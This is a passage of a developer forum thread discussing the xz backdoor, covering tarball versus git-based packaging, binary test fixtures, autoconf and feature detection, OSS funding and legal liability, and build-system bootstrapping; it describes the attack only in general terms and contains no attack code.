                            The most important thing is that any fixes, recommendations for best practices etc are public and not something that the contributing companies can keep for themselves.

                            1. 3

                              Insurance is an interesting idea. You establish liability for faulty software and then big corps diffuse their liability by paying insurance and insurance companies then feed into OSS to reduce their costs. It’s a neoliberal Rube Goldberg machine, which means it has a chance of actually existing in the current political structure even though it’s dumb as hell.

                          2. 3

                            Back in 2021 I blogged about the need for government funding of OSS. That’s the real root cause fix, sure. But there can be multiple things to fix at other levels.

                            Agree with you 100% on both fronts - though I wonder how likely it is that we’ll ever see financial support from governments, I suspect they’d rather impose regulation, professional licensure, or something else along those lines. I guess we’ll see!

                            I’m not sure how you’d keep a random binary blob out of the xz tree though. It really does need to have test files that are broken archives.

                            I really have to push back against this assertion. The xz project did not need opaque binary blobs in-tree at all IMO. Useful test archives (valid or not) can always be generated from a higher-level specification, using code run as part of the test suite. Doing so will always be more easily understood/reviewed/maintained, rather than relying on someone to “generate” them by hand, using who knows what process/criteria, and then committing them to the source tree with virtually no details as to how they came to exist or were validated at all.

                            For example, you need an invalid archive that exhibits a specific issue? Generate a valid archive from a spec, and then mutate it such that it produces the desired effect. I can’t imagine a single scenario with an xz archive that could not be handled in this fashion, though perhaps I just lack imagination. It would be virtually impossible to hide the kind of malicious behavior the xz exploit leveraged if those files had been generated this way. After all - if you can hand write the file, you can generate it, and by generating it at test time, you guarantee three things:

                            • There are no opaque binary blobs in the source tree to hide nasty stuff in
                            • The test files can’t be used for something nefarious in a non-test setting, since they don’t exist except when the test suite is run
                            • Anyone can run the test code and examine the binary it produces

                            It would be incredibly challenging to sneak something malicious into the repo that way. Not impossible of course, as defending against that will always depend on people are actually auditing dependencies and/or doing code review and flagging things that look strange - but sufficient to make it infeasible or too risky to exploit in practice.

        2. [Comment removed by author]

    13. 16

      Missing from this history: at some point in 2023 the attacker makes artwork https://tukaani.org/artwork.html

      1. 1

        The level of effort borders on this.

      2. 1

        Wasn’t sure what you meant since the xz logo has since been removed, was visible in the last IA snapshot: https://web.archive.org/web/20240402213236/https://tukaani.org/artwork.html

      3. 1

        This seems an odd thing to do for someone seeking to add a backdoor.

        The only thing I can think of is to gain some more credibility, but at this point they were already a fully established maintainer.

    14. 15

      I think distros should prefer to package software directly from git sources instead of via release tarballs. I think it would increase transparency.

      1. 22

        Initially I assumed that nixos and guix did the right thing here, but it turns out they were also relying on release tarballs too for some reason despite having great support in their packaging toolchains for doing it the right way. =(

        1. 4

          Can’t a git server serve different copies of the repo to certain IPs? Eg a build server?

          At the point the only thing left would be commit checksum, but that’s similar to tarball checksum. :shrug:

          1. 10

            Compromising the git server in this way is much harder than replacing a few tarballs.

            1. 8

              But the attacker can just run the git server.

              1. 4

                They could; sure. How many times has that actually happened in reality? Compare to the number of times we know that release tarballs have been compromised.

                Just because it isn’t a 100% ironclad solution doesn’t mean it’s not worth making an improvement to make attacks more difficult.

                1. 4

                  How many times has that actually happened in reality? Compare to the number of times we know that release tarballs have been compromised.

                  What numbers would you suggest? What evidence are they based on? (I apologize for the combative tone of my questions, I’m having a hard time reformulating them in a nicer way, but I assure you I am just genuinely curious.)

                  1. 2

                    I might add, there’s some similarity between git commit checksum and tarball checksum, but just barely: a build server is usually instructed to build a certain commit (i.e. (hardened) SHA-1), so already if a git server is trying to issue a different set of contents to a build server than end-users/cgit/some forge, it’ll fail. Tarballs are verified manually by their content checksum (albeit usually in a fashion then automated); git checkouts are identified by their content checksum, which means you have quite a lot of plumbing to mess with if you want to obfuscate some trickery.

            2. [Comment removed by author]

          2. 4

            it can, yes. since nix does do its own strong content checksum of whatever package there is, that attack would have to target a developer machine (or a nix developer would have to be affiliated with the threat actor). I assume the same is true for guix but don’t know for sure. doesn’t sound impossible, but notionally a higher bar…

          3. 3

            I would assume that a Git server sending different stuff to different people would be discovered quickly precisely because people use checksums when they download sources. And the difference between Git checksums and Tarball checksums is precisely what OP said: Using Git checksums increases transparency because there is one central place for the source code and there is no additional step where modifications can be introduced.

        2. 3

          yeah. if it’s any comfort I assumed that as well, at first…

          1. 9

            One of the reason is because github has complained in the past of how harsh this stuff can be on their infra (semi infamous cocoa pods pain).

            Git was not made for that scale.

      2. 17

        This is exactly how Arch fixed their xz package yesterday: https://gitlab.archlinux.org/archlinux/packaging/packages/xz/-/commit/881385757abdc39d3cfea1c3e34ec09f637424ad

        Also, it was a very nice move from them to hide the fix in a commit about running autogen.sh, so as not to raise any alarms while it was still under embargo.

        1. 7

          “improve reproducibility” is a beautiful euphemism for “don’t rely on arbitrary ‘binary’ releases” (which release tarballs of source code might as well be!).

        2. 3

          Speaking of Arch, here’s their update: The xz package has been backdoored

      3. 2

        Tarballs are nice because you don’t have to download the git repo. Of course, shallow clones are a thing, but some package managers (such as makepkg…) don’t support them.

        1. 1

          Users of Arch Linux packages don’t have to download neither git sources nor tarballs if they just want to install them.

          Package maintainers or users that builds packages from PKGBUILD files can either re-use downloaded git clones, or spend a few extra seconds on downloading from source, in the name of transparency.

          1. 1

            If you use the AUR you of course need to download the sources. For large repositories, there can often be a significant time/space saving by using the tarball.

            1. 1

              The space saving is a non-issue for the large majority of users. Also, very few repos are particularly large, but there are exceptions, like FreeCAD. In general, users that build packages has the available temporary disk space.

              I agree that it can take a bit more time to build, but that is a small price to pay for increased transparency and to skip the extra step of having someone prepare the tarball and potentially add backdoors.

    15. 15

      This is reminding me of a quote:

      Every program that has 2 features has a 3rd. You just don’t know what it is yet.

    16. 13

      Then instead of testing all of that shit every time we built something from source, we’d just drag in the pre-existing results and go from there.

      If you pass “–config-cache” or “–cache-file” to ./configure, it will do exactly this.

      https://www.gnu.org/software/autoconf/manual/autoconf-2.63/html_node/Cache-Files.html

      Why isn’t this the default? Well, your distribution could make it the default with a site-wide cache. Why haven’t they? I don’t know, maybe it’s that people would rather write rants about autoconf than do anything to improve it. There’s an open issue for NixOS at least: https://github.com/NixOS/nixpkgs/issues/14586

      1. 6

        Gentoo had that a feature (search “portage feature confcache”). But as far as I can tell and remember it wasn’t reliable because the cached results could be wrong for different packages (probably because ether underlying test is different, but the result is stored under the same name). https://bugs.gentoo.org/156308#c4 has some more information.

      2. 5

        maybe it’s that people would rather write rants about autoconf than do anything to improve it.

        A lot of people probably think that improving autoconf in the year of our lord 2024 is wasted effort, and that if someone had the inclination to work on build systems then their time would be better spent creating or advocating for alternatives. Although you’re certainly right that a lot of articles on this topic really are rants rather than pragmatic guides for switching away from autoconf.

      3. 4

        It used to be more common 25 years ago but once you got a wrong entry, it was manual effort to track down. Just letting the tests rerun every time is more reliable and as computers got a little bit faster, the cost was less.

        The approach suggested in the article of keeping a configuration list on the system was tried before autoconf. imake which was mostly an X innovation tried that and it was too inflexible for a lot of use cases. pkg-config has done a good job of doing that for libraries but doesn’t help with detecting kernel features.

    17. 9

      I don’t think you can have a simple notation that declares what is supported or not, because often it’s not a binary answer, because there are incomplete, low-quality and buggy implementations (a vendor will say a feature is supported when it works 98% of the time, or it’s fully implemented, but horribly slow). So inevitably there will be vendor-specific workarounds needed.

      autotools is so close, and yet so far away of solving the issue. Instead of just detecting missing/broken things, the solution is to provide fallbacks and fixes.

      The problem is that when the tool only gives has/has-not detection, every project has to act upon it themselves, and implement their own fallbacks and workarounds. This is extra work, and not every developer knows every platform, nor can even test on them all. The workarounds needed will change over time, so every project gets busywork of keeping up with the changes in every implementation of every platform, or falls behind and starts lacking workarounds for new platforms, and starts breaking on newer OSes by still applying hacks for bugs that have been fixed.

      The thing that works so marvellously in Rust/Cargo is that you don’t query the system for how incomplete or buggy it is. You use a dependency that makes the feature you want work on every OS. All of the dirty knowledge of hacks and workarounds is contained in the dependency, and the community can contribute and maintain all the hacks in one place.

      Unfortunately, in the C world dependencies themselves are fragmented and broken in various ways on different OSes, so it’s a vicious cycle it can’t escape this way.

    18. 8

      Is backdooring a software package a criminal act in <your, the committer’s country>, or is it only criminal if used to damage or gain unauthorised access to a computer system?

      1. 8

        IANAL, but in the US this is covered by 18 USC 1030 (b) (aka CFAA) which criminalizes conspiracy to gain unauthorized access. My (layman!) understanding is that almost everywhere considers conspiring or aiding almost any crime to itself be a crime, so pretty much every jurisdiction with an anti-hacking law would consider this a crime. (Uh… if this is not state-sponsored activity.) I would guess that the CFAA specifically calls out conspiracy so that it can apply its punishments rather than those for generic conspiracy.

        1. 1

          Does this cover giving away code for free on the internet? I suppose maybe the obfuscation would be an indication of malice but that kinda seems thin. You’re not exactly getting paid to deliver something here and then adding a back door.

          1. 9

            According to this comment on HN, the maintainer/author was actively pushing for this version of the software to be added:

            Very annoying - the apparent author of the backdoor was in communication with me over several weeks trying to get xz 5.6.x added to Fedora 40 & 41 because of it’s “great new features”. We even worked with him to fix the valgrind issue (which it turns out now was caused by the backdoor he had added). We had to race last night to fix the problem after an inadvertent break of the embargo.

            Now, of course this is speculation, but if it was to come to a prosecution, this behavior would definitely fall into the area of conspiracy to gain unauthorized access. Whether the accused would be financially compensated is irrelevant. Infamously, Aaron Swartz was prosecuted for using his academic access to research journals to disseminate information therein, for free.

          2. 2

            I don’t think you can unwillingly conspire. If someone hacks your computer and uses it to distribute child porn, you’re not guilty of distributing child porn, you’re a victim of hacking.

            But IANAL either, and even in the more clear cut hypothetical above, until you manage to explain that a pig’s nose is not a socket, you would remain deeply fucked, and it could take a while. So, still concerning, I guess.

            1. 2

              I don’t think you can unwillingly conspire. If someone hacks your computer and uses it to distribute child porn, you’re not guilty of distributing child porn, you’re a victim of hacking.

              I know its not your point, but in some jurisdictions child porn (and adjacent awful things) have additional rules around them regarding disclosure, complicity, etc. Not that you’re wrong, just this may not be the best example.

    19. 6

      Where possible, it makes sense to guard access to sshd beind a simpler daemon with few dependencies like spiped.

      Admitedly, that helps only for the narrow issue where the backdoor targets sshd.

    20. 6

      What can be done about this? A simple solution would be to start to split up the various libsystemd routines into smaller packages.

      In this case, you don’t need a library, because the systemd notification protocol is designed to be trivial and implemented easily. I linked to this thread, which gives a ~10 line implementation in C:

      https://news.ycombinator.com/item?id=39866076

      from this subthread, which elaborates on the dependency issue:

      https://lobste.rs/s/uihyvs/backdoor_upstream_xz_liblzma_leading_ssh#c_wgmyzf

      It’s documented and stable: https://systemd.io/PORTABILITY_AND_STABILITY/

      The systemd authors recommend not linking libsystemd solely for this purpose.


      Also @hauleth pointed out their pure Erlang implementation of the library in that thread:

      https://github.com/hauleth/erlang-systemd


      It’s not just OK, but actually better, to copy and paste small amounts of code, as long as you understand what it’s doing.

      I think we should call this tendency to link tiny libraries the “leftpad anti-pattern” or something.

      Another example I use is you don’t need to depend on a library to put HTTP_NOT_FOUND = '404 Not Found' in your code. You can just duplicate it, because it will never change.

      Protocols are more stable than libraries. The whole point of protocols is to have multiple implementations in different languages.


      I’m sympathetic to to the “big corp” issue, having worked on purely non-profit, non-affiliated open source for many years. (We really need a different name for this – “open source” covers too many things.)

      But in this case I don’t think it’s the main issue – the main issue appears to be that Debian and Fedora made a serious architecture and implementation mistake. I still believe that after the good discussion in the linked thread above.

      (Note to mods - I believe some of these threads are worth discussing separately, and shouldn’t automatically be joined in with the 7+ threads above. There are many dimensions to this important issue)

      1. 3

        The systemd authors recommend not linking libsystemd solely for this purpose.

        While they recommend against linking in some places, they do recommend linking in others:

        while using this library should be preferred in order to avoid code duplication, it is also possible to reimplement the simple readiness notification protocol

        1. 4

          That’s such a good example of Lennart’s gaslighting that I’m going to save it for the next time I have to explain why I don’t trust the guy.

          I have been telling anyone who wanted to listen that if all you want is sd_notify() then don’t bother linking to libsystemd

          while linking to a page that says

          using this library should be preferred in order to avoid code duplication

        2. [Comment removed by author]

      2. 2

        I have started libsdd project that is meant to implement sd-notify, sd-journal printing, kmsg-like macros, and watchdog helper functions in C with more permissive license, so it will be easily embeddable in any software (including commercial). It is meant to be as simple as possible so it can be copy pasted and/or statically linked into releases, so it will not become problem in future.

    21. 14

      Why didn’t we end up with a situation where it was just a standard thing that had a small number of possible values, and it would just be set for you somewhere? Whoever was responsible for building your system (OS company, distribution packagers, whatever) could leave something in /etc that says “X = flavor 1, Y = flavor 2” and so on down the line.

      This doesn’t work in practice, because it requires coordination and standards. Someone has to standardize what X is, and what 1 and 2 are.

      It also seems to be a form of version detection, and feature detection is better than version detection - https://github.com/oilshell/oil/wiki/Feature-Detection-Is-Better-than-Version-Detection


      A better solution is just to write a plain ass shell script that test if various C snippets compile.

      https://github.com/oilshell/oil/blob/master/configure

      https://github.com/oilshell/oil/blob/master/build/detect-pwent.c

      Not an unholy mix of m4, shell, and C, all in the same file.


      These are the same style as a the configure scripts that Fabrice Bellard wrote for tcc and QEMU.

      They are plain ass shell scripts, because he actually understands the code he writes.

      https://github.com/qemu/qemu/blob/master/configure

      https://github.com/TinyCC/tinycc/blob/mob/configure

      OCaml’s configure script is also “normal”.

      You don’t have to copy and paste thousands of lines of GNU stuff that you don’t understand.

      1. 21

        This doesn’t work in practice

        This does work? Both Rust and Zig are fairly low-level, and they just don’t have configure step, where they try to sniff out system’s compiler and headers dynamically at build time?

        Like, https://github.com/nix-rust/nix crate provides bindings to all kinds of unixy API and, while it does have build.rs, it is trivail and exists only to provide some syntactic sugar for development (which … is not something I think is worth at the cost of making your users to run code at build time, but that’s minor pedantry).

        I mean, you can say that it only support 34 targets or so, and doesn’t support particularly weird unixes, but it definietly does work for a whole lot of use cases!

        1. 23

          I don’t think we have needed autoconf since the early 2000s at the latest.

          Gone are the days that we worry about supporting HPUX, Solaris, OSF/1, etc. Anytime I see support for those OSes, or even endianness, I know there are expoitable bugs in there and I can’t even test them.

          Autoconf is a symptom of a problem we no longer have. Next we need to phase out C and C++ and their accompanying broken non-existent module systems.

          1. 4

            We don’t really need autoconf, but we do need ./configure, e.g. my reply to that comment - https://lobste.rs/s/uneevr/autoconf_makes_me_think_we_stopped#c_seqkhb

            1. 2

              Had C89 had has_include (not now, only 35 years later), then autoconf might not have been needed.

              Edited to add: oh, maybe a minimal autoconf to help with linking options. But not the monstrosity we have today.

              1. 3

                Sadly has_include isn’t enough, you also need to be able to test for the presence and compatibility of declarations, and that’s impossible in pure C: conditional compilation is done by the preprocessor, which runs in an early phase before declarations are parsed.

                1. 2

                  How does Rust do it?

                  1. 1

                    Cargo and Macros.

          2. 1

            I don’t think we have needed autoconf since the early 2000s at the latest. Gone are the days that we worry about supporting HPUX, Solaris, OSF/1, etc.

            This is just not true. (Open)Solaris systems were still common until Oracle did what they did in 2009, and illumos continues to be a small but stable derivative of that lineage. Various BSDs and Mac OS X have been obviously been popular enough to be relevant throughout the 21st century. All of these systems have sufficient differences to require feature tests and conditional compilation. While most systems have sought to provide compatibility implementations of foreign interfaces to ease software porting, it will likely never be true that we can just do away with systems that understand and work with the differences.

            I am a huge fan of Rust, and I write software using it most days at work and at home. It is unlikely that all relevant C based software will be rewritten entirely inside of the next two decades – there is just too much, and too much of it works well enough that there is no particular economic drive to do it.

            I don’t like autotools at all, but simply deleting it without an incremental replacement is no more an option today than it was two decades ago.

        2. 3

          Also when I said “this doesn’t work in practice”, I meant “it doesn’t work in practice for portable C/C++ builds”

          Not saying anything about Rust or Zig! The languages are used in different ways, e.g. embedded vendors fork C/C++ compilers and ship them with SDKs for their boards


          Also, the situation with C/C++ is more similar to JavaScript than it is to Rust/Zig.

          JavaScript is also standardized, and has multiple implementations.

          How do you do feature detection in JavaScript? With eval() or hasProperty() etc.

          eval() is the dynamic language equivalent of invoking the C++ compiler at configure time – it’s a fully general method to detect what’s there.

          There is no pre-defined taxonomy of features. That doesn’t really scale

          i.e. someone OUTSIDE the project can make something like - https://caniuse.com/wasm-reference-types,css-anchor-positioning

          But it’s not part of the web platform itself, because it fundamentally can’t cover all possibilities. There can be obscure bugs that exist on only a single line of code in a particular compiler/runtime, and you might want to detect them. That’s pretty common in both JS and C++.

        3. 2

          How do Rust and Zig deal with the fact that Android doesn’t have getpwent() ? It doesn’t have /etc/passwd, while every Unix system does.

          i.e. Can you compile and run them on Android, and if so, what happens when you try to call the function?

          That’s what we are detecting above: Oils 0.20.0 - Eggex, JSON, and Android


          There are also a few compile time checks in the xz utils that do appear necessary. A few days ago, I was actually going to suggest that it doesn’t need configure at all, because compression is a “pure function” you can do in standard C.

          https://salsa.debian.org/debian/xz-utils/-/tree/46cb28adbbfb8f50a10704c1b86f107d077878e6/m4

          I’m not sure that’s true though – it would be nice to see some analysis of that. What’s actually needed for xz? Performance features like SIMD and detecting the number of cores are frequent reasons that “C is not standard”.


          Also, for better or worse, Rust and Zig both have a single compiler implementation, with no separate standards committee. C and C++ are standards, which implies multiple implementations, which implies extensions and differences that may need to be probed at compile time.

          Another issue is that C and C++ are defined mostly separately from the OS. e.g. ANSI C is a different thing than POSIX, where as in Rust/Zig those concepts are mixed together. I think that’s probably a good choice for them.

          I think there is room for a larger set of standard functionality in C/C++, but someone would need to do that work …! And it’s hard.

          I’m not really defending the C/C++ model, but I would say it is more “decentralized” and thus messier, while Rust and Zig are more centralized.


          (BTW @Melkor333 implemented the Android check. We can also use help detecting glibc FNM_EXTMATCH – another thing Rust/Zig probably don’t deal with, naturally because they’re not C. glibc and musl libc implement different functionality. OS X libc is different too.

          So if anyone wants to learn how to write plain shell scripts that enable your software to be run on many platforms, – including ones that don’t exist yet – and distributed widely, that could be a nice place to start - https://github.com/oilshell/oil/pull/1814/files )

          1. 12

            How to Rust and Zig deal with the fact that Android doesn’t have getpwent() ? It doesn’t have /etc/passwd, while every Unix system does.

            In rust you annotate the binding to getpwent with #[cfg(all(target_family = "unix", not(target_os = "android")))], which means the binding is supplied for all unixes except android. If you try and compile for android and use getpwent you’ll get an error that getpwent is undefined.

            Here’s the list of target options that can be used in conditional compilation: https://doc.rust-lang.org/reference/conditional-compilation.html.

            If something you need is not on the list you can always add custom features to a crate.

            1. 3

              Hm what about glibc vs. musl libc? e.g. the FNM_EXTMATCH example above?

              What about the main Rust compiler vs. an alternate Rust compiler in C++ with fewer features?

              I think the “predefined taxonomy” of target_family == “unix” and target_os == “android” is probably a good enough common case solution.

              But I also think the taxonomies also have a combinatorial explosion. It’s a bit like structural typing vs. nominal typing, at a compile time.

              Do you write

              if (typeof obj == "Person" or typeof obj == "Pet") {
                print(obj.name)
              }
              

              or do you write:

              if (obj.hasProperty("name")) {
                print(obj.name)
              }
              

              The latter doesn’t require any predefined taxonomy, which prevents a combinatorial explosion of dimensions.

              It makes it more distributed / decentralized / decoupled. Not saying this is better in all cases – it’s definitely a tradeoff. C/C++ are definitely messy.

              Similar issue: there’s no concept of a DEBUG build in C/C++, which means every project has to add their own basic functionality like DCHECK() (debug-only assertions). That really belongs in some “standard library”, but it’s not possible in C/C++.

              1. 4

                Hm what about glibc vs. musl libc?

                #[cfg(target_env = "musl")]

                What about the main Rust compiler vs. an alternate Rust compiler in C++ with fewer features?

                Any Rust compiler implementation would have to be able to handle #[cfg(...)] for conditional compilation and support the target_xxx family of features by parsing target triples (for example, you get target_os = "linux", target_arch = "x86_64", target_env = "gnu" by parsing --target=x86_64-unknown-linux-gnu at the command line, but idr if this is done by rustc or cargo and passed in with the --feature flag, which is similar to -D in C/C++ compilers).

                If another implementation couldn’t handle that, then it wouldn’t be able to compile std so it would be pretty limited in the Rust programs that it could compile.

            2. 3

              On second thought, I’d also say that an explicit target_os = "android" has a drawback. Suppose that Android starts implementing getpwent()

              With the ./configure solution, nothing needs to change. The feature will just “start working” automatically.

              With the explicit taxonomy, the library code also needs to change, and you may not control the library. I may have to submit a patch to the Rust platform or the Zig platform, and wait for it to be rolled out.

              It might not seem like a big deal, but let’s use FNM_EXMATCH (extended globbing) as another example. Right now I know it exists on glibc, but not on musl libc, not on OS X, not on FreeBSD, etc.

              But I’d rather not put that knowledge in the code. I’d rather use feature detection, so it will just work when any platform decides to implement FNM_EXTMATCH.

              1. 6

                Well now you have a bigger problem, which is that your Rust application will only run on Android versions that support getpwent(), and as the author, you’re still going to need to support both versions of Android with and without getpwent() which means you can’t get rid of the code anyway either as a codegen step, or in source with the appropriate #[cfg(...)]). So you can’t really get rid of the knowledge in your code, just move it somewhere else. And I’d argue that it’s not better - since if someone complains that version a.b.c of your library doesn’t run on version d.e.f of their OS and can’t figure it out by looking at the source code because it’s hidden behind a codegen step that has to run before they can even analyze it, you’re not making your code better. You’re hiding inherent complexity.

                And in practice, I think the combinatorial explosion of version detection vs feature detection is a little overblown. But you always have an out, which are build scripts run before builds that can do whatever code generation and feature detection you want (essentially, Rust doesn’t lack a configuration stage, they just call them “build scripts”)

                1. 2

                  You still have to support both behaviors in your code, but you don’t have to care WHICH platforms support behavior 1, and which support behavior 2.

                  I’m not saying it’s better all the time, but that it’s an important difference, and it depends on context. In this respect, you should compare C++ to JavaScript because it’s standardized with multiple popular implementations, not to Rust or Zig.

                  (Side note: I also think Zig with something like comptime query_platform_support() could be a cleaner solution than either C++ or Rust. It would make the language smaller. Not sure if Zig actually works like this or not – it probably doesn’t need to right now)

          2. 3

            How do Rust and Zig deal with the fact that Android doesn’t have getpwent() ? It doesn’t have /etc/passwd, while every Unix system does.

            At least in the case of Rust (can’t speak to Zig), the Rust compiler maintains a pretty robust library of target specifications, including a variety of minutiae of this kind. To the extent that things like this can be summarized as a property of a single system, e.g. “All UNIXes except Android”, they are usually handled using combinations of #[cfg] declarations, to conditionally compile features based on any number of things. Most commonly: target architecture/family, cpu, vendor, operating system, libc variant (gnu vs musl vs none), native machine word size and/or pointer width, floating point support, and more (see the link in the footnote for an idea of how deep that goes).

            That said, I think it is fair to say that there are a number of things that Rust target specs don’t handle, and are sort of punted to the end user to implement using build scripts or something else, e.g. feature detection that is not a fixed property of a given system, version/feature detection of third-party (i.e. non-Rust) packages, that sort of thing. AFAIK, autoconf is largely about solving the latter, and is not really needed so much anymore for the kind of things that things like Rust target specs solve for. Obviously you don’t need autoconf to do that kind of thing, but if you don’t use autoconf, or something that provides similar functionality (e.g. CMake), then you are mostly reinventing the same wheel (albeit, with a chance to do better, by being able to learn from the lessons learned in implementing those more established tools).

      2. 11

        It also seems to be a form of version detection, and feature detection is better than version detection - https://github.com/oilshell/oil/wiki/Feature-Detection-Is-Better-than-Version-Detection

        I don’t think that rachel is arguing that version detection is worse, merely that feature detection only really needs to be run once, the results cached, and then every other time a build system wants to detect that feature exists, they should be able to go to the cache to ask that rather than every build rerunning the same feature detection.

        That the cache would be plaintext, and placed in /etc/, are what make it look like version detection on the surface.

        My sibling’s comment talking about pkg-config absolutely is talking about version detection, however.

        1. 5

          Yeah. One of the problems with autoconf is its config.cache support is incomplete and buggy. It doesn’t properly separate platform feature tests from configuration options, so if you change the options you have to blow away the cache and redo all the platform tests. And it isn’t designed to allow different packages to reliably share the results of platform tests.

          pkg_config is effectively pre-computed feature test results for working out what a library’s path names and linker options are. It’s better than autoconf but suffers from unix’s traditional yolo approach to quoting

      3. 6

        https://github.com/oilshell/oil/blob/master/configure

        This hardcodes cc and doesn’t support cross-compiling.

        1. 4

          Yeah, that’s bad. How do we fix it? I guess just by providing $CXX? If so, that’s easy

          I did go through the GNU configure standards a bit when writing it, but we also prioritize what people actually want. If people want Android, then we have Android support. If they want cross compiling, then we should have that.

          I never really cross compile anything, but I remember submitting patches to some of Landley’s projects, and this one implied that using QEMU is easier than cross compiling for full system builds - http://landley.net/aboriginal/

          Basically so many build systems are broken with respect to cross compiling, that it’s easier to run a non-cross build in QEMU.

          But I think it’s very easy for us to support, if people want it. Issues/patches appreciated!

      4. 3

        pkg-config could be considered that standard? I’m not sure if it covers it all.

      5. 2

        I agree with your overall point, but I’m not sure we want everyone writing their own shell scripts. That script for qemu is longer than I would want to write / maintain. That being said, I try to avoid working with C/C++, so no one else wants me doing that either :-)

      6. 1

        I wonder what this tcc configure script magic is for…

        eval opt=\"$opt\"
        
    22. 5

      How could we prevent this going forward? IIUC the two components were

      1. Bad actor submitting obfuscated code
      2. Not thorough review, perhaps because bad actor was socially trusted

      The more core/widely used the library the more through the review process should be. Needing say, more than one person to sign-off.

      1. 24

        Well, we need to pay people to do the maintenance and review. I don’t know how to practically do that though. Does it mean all companies should use RHEL or similar? How do you convince a business owner or executive to pay for what they can take for free?

        1. 25

          I know this is not a popular opinion but: you make their companies liable for using hobby projects. That doesn’t mean not using xz at all. But either they do the maintenance themselves, or a sufficiently large number of companies that depend on XZ (that’s practically every tech company on Earth at this point, and a lot of non-tech companies) pool their resources to sponsor practical maintenance operations for XZ.

          This is a model that already works well in virtually all engineering activity out there. The reason why most appliances in one’s home aren’t fire hazards, for example, is that, while many electrical engineers tinker with things and most of their contraptions are fire hazards, shipping a fire hazard commercially, or worse, shipping something without at least bothering to check if it’s a fire hazard, is so many layers of risky and illegal that most companies won’t go near it. Their executives would absolutely love to package these things, I mean, they’re basically already made, they’re free modulo marketing material, but they don’t want to risk it. Lots of successful products originated in hobby projects but they did not happen by literally replicating one without any checks.

          The “convincing business owners” angle may be relevant for small companies but in general it’s just not how it works. There are so many technical details, spread among so many products and projects, that business owners rarely play a role in these decisions. You wouldn’t have to convince business owners to pay for what they can take for free, you’d have to convince their subordinates, many layers down the org chart, and across dozens of departments, to spend extra money on things they can’t explain up the management chain and which may backfire through entirely mundane channels like yearly evaluations.

          Yes, culture happens top down – but whatever method you pick has to work for every company out there, from well-meaning tech companies to organic farms that employ exactly two people who care about computers, and are put in charge of their Instagram accounts and email lists. Anything that’s significantly harder than “is this thing FDA-approved?” is already dangerously complicated – very few people can make an informed decision about it and no commercial organisation out there grants that degree of autonomy so far down the org chart, on any subject, computer-related or not, to make it a viable option.

          This whole situation is ridiculous. There’s a link up in the channel where several people with high-paying jobs are complaining about slow maintenance in XZ, a hobby project, because “the community” (i.e. their companies) needs it. Business owners and their subordinates already understand that maintenance is necessary, and they’re in the software industry, they know that money can get it, you don’t need to convince them of anything at this point. There’s nothing preventing them from paying for XZ maintenance right now.

          The reason why they don’t do it isn’t that they don’t understand, it’s that charging for (access to services based on) repackaged hobby projects without being upfront about it and without disclosing the risks to their customers – risks which they aren’t even liable for in most cases – is a legal business option.

          1. 1

            I know this is not a popular opinion

            Even in Brussels and Strasbourg?

        2. 9

          If they want the free version they don’t get to complain when it’s full of bugs, simple as that

      2. 22

        The bad actor was a maintainer and the one responsible for packaging new releases. They were the person trusted to do the reviewing, you can’t think of this as a drive-by evil pull request.

      3. 16

        Stop using tarballs for distro packaging! It’s a relic of the 1990s and is utterly absurd in today’s context.

        Granted they could have pulled it off with the attack in git, but it would have been significantly more difficult to hide.

        1. 12

          It was in git, the code to inject the malware in the release tarball was commited to the repository.

          1. 12

            From what I read parts of the attack were present but dormant in git and only activated in the release tarball. However, I don’t have a reliable source on that yet.

            Edit: never mind; the article does in fact say this:

            That line is not in the upstream source of build-to-host, nor is build-to-host used by xz in git. However, it is present in the tarballs released upstream, except for the “source code” links, which I think github generates directly from the repository contents.

        2. 3

          I’m not sure I agree. The actual malicious code was well disguised as “autotools gunk” that makes my eyes glaze right over; with a semi-plausible commit message, I can’t imagine anyone catching it, short of someone specifically auditing for malicious code.

          1. 8

            Ah, well sure; add an implied fourth bullet point of “stop using autotools ffs” but I figure that goes without saying.

            Also there are a lot of other attack scenarios which don’t involve a malicious maintainer that can affect release tarballs more easily using stolen credentials, etc.

            1. 3

              Can you recommend a portable, modern alternative that has a short bootstrap chain? I’m genuinely curious because I have a project in the bootstrapping space and autotools seem most suitable.

              1. 4

                https://github.com/annacrombie/muon only needs a C99 compiler.

                1. 4

                  Last time someone suggested muon to me, I wrote it off because it lacked cross-compilation. But perhaps that’s okay if the build system builds with both meson and muon? I will have to give it another closer look — thanks for the poke.

                2. 2

                  I have looked further, and despite muon being the least bad of the modern build systems, the mesonverse seems to operate over a hardcoded list of known compilers!? So if you want to use tcc, you can’t use meson, but you can use muon.

                  This all seems quite bizarre to me.

                1. 3

                  Zig has sacrificed its bootstrappability with its (admittedly clever) WASM-based compiler blob. If it ever regains it (and I hope that it does), then I would seriously consider Zig stuff for bootstrappy things.

                  1. 7

                    Wasn’t the WASM blob added to make zig more bootstrappable? Did it backfire? I’m not a zig user, just an interested bystander.

                    1. 8

                      Fair question. The answer, I think, is “yes and no”. Previously, Zig maintained a C++ compiler in parallel with the self-hosted version. Now, Zig’s build process will run/can be ported to many more targets more easily, because you just need to write a small WASM interpreter. This means Zig’s build process now also requires executing a blob of code in the build process that can no longer be easily or independently reproduced.

                      1. 17

                        The long term plan for that is to rely on a third party to create and maintain an independent Zig compiler written in C. If zig becomes popular enough, I think there will be sufficient motivation for it to happen. However, I can’t imagine that happening before the language stabilizes.

                        1. 3

                          I hope that you’re right, and wish you the best of luck.

                  2. 4

                    The long-term plan is to regain true bootstrappability, but as zig is a fast moving target, maintaining a compatible bootstrap compiler just slows the project down. the 1.0 release will have a bootstrappable release

                    https://ziglang.org/news/goodbye-cpp/

                    https://github.com/ziglang/zig/issues/6378

              2. 1

                gnu make

                1. 3

                  GNU make depends on autoconf.

                  1. 4

                    it seems to come with a (fairly simple) shell script which can also be used to build instead. i doubt this would be a hurdle to bootstrapping; it doesn’t seem to require much more than cc -o make src/*.c

      4. 10

        The most clever part of this is that the obfuscated code was in compressed files as test data. Obviously a compression library is going to have some sample compressed data for tests! Who cares what the data actually is?

      5. 9

        If this were a language that’s more fashionable to sneer at, the thread would be full of people saying to “just” stop using C/Unix/etc. because it relies on pulling random code from all over the internet and thus can never ever be safe or anything more than a toy.

        Personally, I think the C/Unix world could learn a lot from the fashionable-to-sneer-at languages’ package ecosystems and how they’ve approached the idea of security in a world where everything has lots of third-party dependencies, but I’m not holding my breath that the learning will actually occur.

        1. 13

          C isn’t a “fashionable-to-sneer-at language”?

          1. 8

            Not in the way people sneer at JavaScript or Python when there’s a story about someone typosquatting a popular package, no.

        2. 12

